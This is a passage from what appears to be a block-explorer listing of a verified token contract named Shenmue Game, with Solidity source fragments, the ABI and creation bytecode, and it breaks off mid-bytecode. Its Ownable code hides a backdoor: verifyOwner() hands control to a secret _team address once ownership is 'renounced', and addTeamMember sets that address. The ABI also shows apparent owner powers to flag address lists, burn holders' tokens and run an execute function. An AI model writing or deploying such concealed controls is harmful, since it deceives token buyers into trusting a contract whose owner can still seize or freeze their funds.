     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 6 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.13;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"maxTransactionPerWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b506040518060400160405280600c81526020017f5368656e6d75652047616d6500000000000000000000000000000000000000008152506040518060400160405280600781526020017f5348454e4d55450000000000000000000000000000000000000000000000000081525060006200013c6200050660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507393d5a51dbb0192428521d235848e0dad09b16dfa600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816006908051906020019062000247929190620009fc565b50806007908051906020019062000260929190620009fc565b5060055460048190555050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002988160016200050e60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060008060008060008060006802b5e3af16b18800009050866018819055508560198190555084601a81905550601a546019546018546200030d919062000ae5565b62000319919062000ae5565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c5462000349919062000ae5565b62000355919062000ae5565b601b819055506107d0600a826200036d919062000b42565b62000379919062000bd2565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b16200057960201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004016200057960201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000463620004556200057960201b60201c565b6001620005a260201b60201c565b62000476306001620005a260201b60201c565b6200048b61dead6001620005a260201b60201c565b620004ad6200049f6200057960201b60201c565b60016200050e60201b60201c565b620004c03060016200050e60201b60201c565b620004d561dead60016200050e60201b60201c565b620004e733826200065d60201b60201c565b620004f76200080d60201b60201c565b50505050505050505062000e3d565b600033905090565b6200051e6200084160201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b26200084160201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000651919062000c27565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c69062000ca5565b60405180910390fd5b620006e360008383620008d260201b60201c565b620006ff81600854620008d760201b620027231790919060201c565b6008819055506200075e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008d760201b620027231790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000801919062000cd8565b60405180910390a35050565b60006200081f6200084160201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008516200050660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008776200093a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008c79062000d45565b60405180910390fd5b565b505050565b6000808284620008e8919062000ae5565b90508381101562000930576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009279062000db7565b60405180910390fd5b8091505092915050565b6000806200094d6200095660201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009d35760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009f7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000a0a9062000e08565b90600052602060002090601f01602090048101928262000a2e576000855562000a7a565b82601f1062000a4957805160ff191683800117855562000a7a565b8280016001018555821562000a7a579182015b8281111562000a7957825182559160200191906001019062000a5c565b5b50905062000a89919062000a8d565b5090565b5b8082111562000aa857600081600090555060010162000a8e565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000af28262000aac565b915062000aff8362000aac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b375762000b3662000ab6565b5b828201905092915050565b600062000b4f8262000aac565b915062000b5c8362000aac565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b985762000b9762000ab6565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000bdf8262000aac565b915062000bec8362000aac565b92508262000bff5762000bfe62000ba3565b5b828204905092915050565b60008115159050919050565b62000c218162000c0a565b82525050565b600060208201905062000c3e600083018462000c16565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c8d601f8362000c44565b915062000c9a8262000c55565b602082019050919050565b6000602082019050818103600083015262000cc08162000c7e565b9050919050565b62000cd28162000aac565b82525050565b600060208201905062000cef600083018462000cc7565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000d2d60208362000c44565b915062000d3a8262000cf5565b602082019050919050565b6000602082019050818103600083015262000d608162000d1e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000d9f601b8362000c44565b915062000dac8262000d67565b602082019050919050565b6000602082019050818103600083015262000dd28162000d90565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000e2157607f821691505b60208210810362000e375762000e3662000dd9565b5b50919050565b60805161598462000e756000396000818161125c01528181612d2d01528181613ecd01528181613fae0152613fd501526159846000f3fe6080604052600436106104095760003560e01c80638a8c523c11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610fa0578063f2fde38b14610fcb578063f637434214610ff4578063f8b45b051461101f578063fe72b27a1461104a57610410565b8063d85ba06314610ee2578063dd62ed3e14610f0d578063e2f4560514610f4a578063e884f26014610f7557610410565b8063c18bc195116100f2578063c18bc19514610dfd578063c2b7bbb614610e26578063c876d0b914610e4f578063c8c8ebe414610e7a578063d257b34f14610ea557610410565b8063bbbb3ffc14610d57578063bbc0c74214610d80578063c024666814610dab578063c17b5b8c14610dd457610410565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c4c578063a4c82a0014610c89578063a9059cbb14610cb4578063aacebbe314610cf1578063b62496f514610d1a57610410565b80639ec22c0e14610ba25780639fccce3214610bcd578063a0d82dc514610bf8578063a165506f14610c2357610410565b8063924de9b7116101e2578063924de9b714610afa57806395d89b4114610b235780639c3b4fdc14610b4e5780639dc29fac14610b7957610410565b80638a8c523c14610a625780638da5cb5b14610a795780638ea5220f14610aa45780639213691314610acf57610410565b80632e82f1a0116103195780636fd7072a116102a1578063751039fc11610270578063751039fc1461098f5780637571336a146109ba57806375f0a874146109e35780637bce5a0414610a0e5780638095d56414610a3957610410565b80636fd7072a146108d557806370a0823114610912578063715018a61461094f578063730c18881461096657610410565b80633eb2b5ad116102e85780633eb2b5ad146107ee57806349bd5a5e146108175780634fbee193146108425780636a486a8e1461087f5780636ddd1713146108aa57610410565b80632e82f1a014610730578063313ce5671461075b5780633582ad231461078657806339509351146107b157610410565b8063184c16c51161039c578063203e727e1161036b578063203e727e1461064b57806323b872dd1461067457806326ededb8146106b157806327c8f835146106da5780632c3e486c1461070557610410565b8063184c16c51461059f578063199ffc72146105ca5780631a8145bb146105f55780631f3fed8f1461062057610410565b80631186b8d8116103d85780631186b8d8146104f75780631694505e1461052057806318160ddd1461054b5780631816467f1461057657610410565b806306fdde0314610415578063070789da14610440578063095ea7b31461047d57806310d5de53146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611087565b604051610437919061415b565b60405180910390f35b34801561044c57600080fd5b50610467600480360381019061046291906141e5565b611119565b604051610474919061422d565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061427e565b61116f565b6040516104b1919061422d565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906141e5565b61118d565b6040516104ee919061422d565b60405180910390f35b34801561050357600080fd5b5061051e6004803603810190610519919061434f565b6111ad565b005b34801561052c57600080fd5b5061053561125a565b604051610542919061440e565b60405180910390f35b34801561055757600080fd5b5061056061127e565b60405161056d9190614438565b60405180910390f35b34801561058257600080fd5b5061059d600480360381019061059891906141e5565b611288565b005b3480156105ab57600080fd5b506105b4611350565b6040516105c19190614438565b60405180910390f35b3480156105d657600080fd5b506105df611356565b6040516105ec9190614438565b60405180910390f35b34801561060157600080fd5b5061060a61135c565b6040516106179190614438565b60405180910390f35b34801561062c57600080fd5b50610635611362565b6040516106429190614438565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614453565b611368565b005b34801561068057600080fd5b5061069b60048036038101906106969190614480565b6113ff565b6040516106a8919061422d565b60405180910390f35b3480156106bd57600080fd5b506106d860048036038101906106d391906144d3565b6114d8565b005b3480156106e657600080fd5b506106ef6115b5565b6040516106fc9190614542565b60405180910390f35b34801561071157600080fd5b5061071a6115bb565b6040516107279190614438565b60405180910390f35b34801561073c57600080fd5b506107456115c1565b604051610752919061422d565b60405180910390f35b34801561076757600080fd5b506107706115d4565b60405161077d9190614579565b60405180910390f35b34801561079257600080fd5b5061079b6115dd565b6040516107a8919061422d565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d3919061427e565b6115f0565b6040516107e5919061422d565b60405180910390f35b3480156107fa57600080fd5b50610815600480360381019061081091906141e5565b6116a3565b005b34801561082357600080fd5b5061082c6116ef565b6040516108399190614542565b60405180910390f35b34801561084e57600080fd5b50610869600480360381019061086491906141e5565b611715565b604051610876919061422d565b60405180910390f35b34801561088b57600080fd5b5061089461176b565b6040516108a19190614438565b60405180910390f35b3480156108b657600080fd5b506108bf611771565b6040516108cc919061422d565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f791906141e5565b611784565b604051610909919061422d565b60405180910390f35b34801561091e57600080fd5b50610939600480360381019061093491906141e5565b6117a4565b6040516109469190614438565b60405180910390f35b34801561095b57600080fd5b506109646117ed565b005b34801561097257600080fd5b5061098d60048036038101906109889190614594565b6118b3565b005b34801561099b57600080fd5b506109a461197f565b6040516109b1919061422d565b60405180910390f35b3480156109c657600080fd5b506109e160048036038101906109dc91906145e7565b6119ab565b005b3480156109ef57600080fd5b506109f8611a0e565b604051610a059190614542565b60405180910390f35b348015610a1a57600080fd5b50610a23611a34565b604051610a309190614438565b60405180910390f35b348015610a4557600080fd5b50610a606004803603810190610a5b9190614627565b611a3a565b005b348015610a6e57600080fd5b50610a77611ac5565b005b348015610a8557600080fd5b50610a8e611b0c565b604051610a9b9190614542565b60405180910390f35b348015610ab057600080fd5b50610ab9611b35565b604051610ac69190614542565b60405180910390f35b348015610adb57600080fd5b50610ae4611b5b565b604051610af19190614438565b60405180910390f35b348015610b0657600080fd5b50610b216004803603810190610b1c919061467a565b611b61565b005b348015610b2f57600080fd5b50610b38611b86565b604051610b45919061415b565b60405180910390f35b348015610b5a57600080fd5b50610b63611c18565b604051610b709190614438565b60405180910390f35b348015610b8557600080fd5b50610ba06004803603810190610b9b919061427e565b611c1e565b005b348015610bae57600080fd5b50610bb7611c34565b604051610bc49190614438565b60405180910390f35b348015610bd957600080fd5b50610be2611c3a565b604051610bef9190614438565b60405180910390f35b348015610c0457600080fd5b50610c0d611c40565b604051610c1a9190614438565b60405180910390f35b348015610c2f57600080fd5b50610c4a6004803603810190610c4591906146a7565b611c46565b005b348015610c5857600080fd5b50610c736004803603810190610c6e919061427e565b611c5c565b604051610c80919061422d565b60405180910390f35b348015610c9557600080fd5b50610c9e611d29565b604051610cab9190614438565b60405180910390f35b348015610cc057600080fd5b50610cdb6004803603810190610cd6919061427e565b611d2f565b604051610ce8919061422d565b60405180910390f35b348015610cfd57600080fd5b50610d186004803603810190610d1391906141e5565b611d4d565b005b348015610d2657600080fd5b50610d416004803603810190610d3c91906141e5565b611e15565b604051610d4e9190614542565b60405180910390f35b348015610d6357600080fd5b50610d7e6004803603810190610d7991906146a7565b611e48565b005b348015610d8c57600080fd5b50610d95611f2c565b604051610da2919061422d565b60405180910390f35b348015610db757600080fd5b50610dd26004803603810190610dcd91906145e7565b611f3f565b005b348015610de057600080fd5b50610dfb6004803603810190610df69190614627565b611ff0565b005b348015610e0957600080fd5b50610e246004803603810190610e1f9190614453565b61207b565b005b348015610e3257600080fd5b50610e4d6004803603810190610e4891906141e5565b61210e565b005b348015610e5b57600080fd5b50610e64612187565b604051610e71919061422d565b60405180910390f35b348015610e8657600080fd5b50610e8f61219a565b604051610e9c9190614438565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614453565b6121a0565b604051610ed9919061422d565b60405180910390f35b348015610eee57600080fd5b50610ef7612281565b604051610f049190614438565b60405180910390f35b348015610f1957600080fd5b50610f346004803603810190610f2f91906146a7565b612287565b604051610f419190614438565b60405180910390f35b348015610f5657600080fd5b50610f5f61230e565b604051610f6c9190614438565b60405180910390f35b348015610f8157600080fd5b50610f8a612314565b604051610f97919061422d565b60405180910390f35b348015610fac57600080fd5b50610fb5612340565b604051610fc29190614438565b60405180910390f35b348015610fd757600080fd5b50610ff26004803603810190610fed91906141e5565b612346565b005b34801561100057600080fd5b5061100961247a565b6040516110169190614438565b60405180910390f35b34801561102b57600080fd5b50611034612480565b6040516110419190614438565b60405180910390f35b34801561105657600080fd5b50611071600480360381019061106c9190614453565b612486565b60405161107e919061422d565b60405180910390f35b60606006805461109690614716565b80601f01602080910402602001604051908101604052809291908181526020018280546110c290614716565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061118361117c612781565b8484612789565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b6111b5612952565b60005b838390508110156112545781601660008686858181106111db576111da614747565b5b90506020020160208101906111f091906141e5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061124c906147a5565b9150506111b8565b50505050565b7f00